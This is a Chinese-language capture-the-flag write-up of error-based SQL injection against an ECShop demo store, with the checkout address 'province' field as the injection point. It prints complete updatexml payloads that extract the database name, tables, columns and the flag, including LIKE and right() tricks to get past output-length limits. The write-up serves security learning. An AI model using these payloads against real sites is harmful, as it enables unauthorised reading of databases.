题目
网站URL ECSHOP演示站 - Powered by ECShop
目录
笔记
对现在我来说难度其实不大,但题目考察的一些细节要求比较高。
首先把我遇到的问题 一 一 列出。(在下面解题的过程会一 一 解决)
- 题目虽然是叫宽字符注入,但实际考察的是报错注入 (挂羊头卖狗肉)
- 这个网站很大,注入点很难找(我也是看一位师傅的write up)
- 自己没有用到 除 ' ' 之外的闭合符,而本题出现了另一个闭合符 () (缺少经验)
- 找到注入点后,由于要在burpsuite中点击 follow redirection 追踪到重定向页面才能看到报错回显 导致无法用sqlmap 跑 所以才出现后面的问题
- 查询到数据库名后 ,由于每次报错注入的回显内容长度有限制,导致不能一次性爆出所有表,只能通过 修改 limit 后面的参数慢慢爆
- 没有学会在 mysql 下 sql注入的模糊查询语法
- 爆出字段名为flag 后,由于回显内容长度的限制,还有小部分 flag值没有爆出来,最后学会用 right 和 left 语法
过程
进入sql注入页面
注册→登陆→点击一个商品手机→加入购物车→点击结算中心→修改收货人信息→用BP开始抓包→点击配送至这个地址
把抓的包放入repeater 模块
province 为注入点
问题 判断闭合符
SQL注入原理及如何判断闭合符_大大大蜜蜂的博客-CSDN博客_sql注入怎么判断闭合方式
在参数后面输入一个单引号' 发包后,点击 刚出现的 follow direaction 按钮进入重定向界面
sql注入下的模糊查询
还是需要将自己的mysql知识 尽量的运用到实战上,不能光想着 复制别人单一的sql注入语句,不自己独立思考一定是走不远的
https://www.cnblogs.com/-lin-x-c-/p/10375412.html
由上方链接我们得知语法 and +(表名,字段名)like = '%关键字%'
下面会把他加到我们的报错注入语句中
爆数据库
2')%20and%20updatexml(1,concat(0x7e,database(),0x7e),1)#
爆表名
2')%20and%20updatexml(1,concat(0x7e,(select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema%3d"ecshop"%20limit%200,1),0x7e),1)#
爆出3个无关表名 还有一个不完整。。。。。。
昨天头铁 通过修改limit 的值一直去重复,40多次才爆出来
下面利用模糊查询
2') and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema="ecshop" and table_name like '%flag%'),0x7e),1)#
模糊查询爆字段名
2') and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name="ecs_flag" and column_name like '%flag%'),0x7e),1)#
right 语法爆字段值
由于我们直接用普通语句查询,我们得到的flag是不完整的,而这里又不能通过limit 语法一个一个字节来爆,但是mysql 提供了一个 right 函数,可以从右往左爆字符串,这样就能把我们缺失的一小部分flag的值爆出。
正常方法
2') and updatexml(1,concat(0x7e,(select flag from ecs_flag ),0x7e),1)#
结果
right 语法
2') and updatexml(1,concat(0x7e,(select(group_concat((right(flag,20)))) from (ecs_flag) ),0x7e),1)#
去除重复字段即可得到flag。
参考链接
SQL注入原理及如何判断闭合符_大大大蜜蜂的博客-CSDN博客_sql注入怎么判断闭合方式
mysql中模糊查询的四种用法: - 林小某lin - 博客园
天天学这么累打把游戏不过分把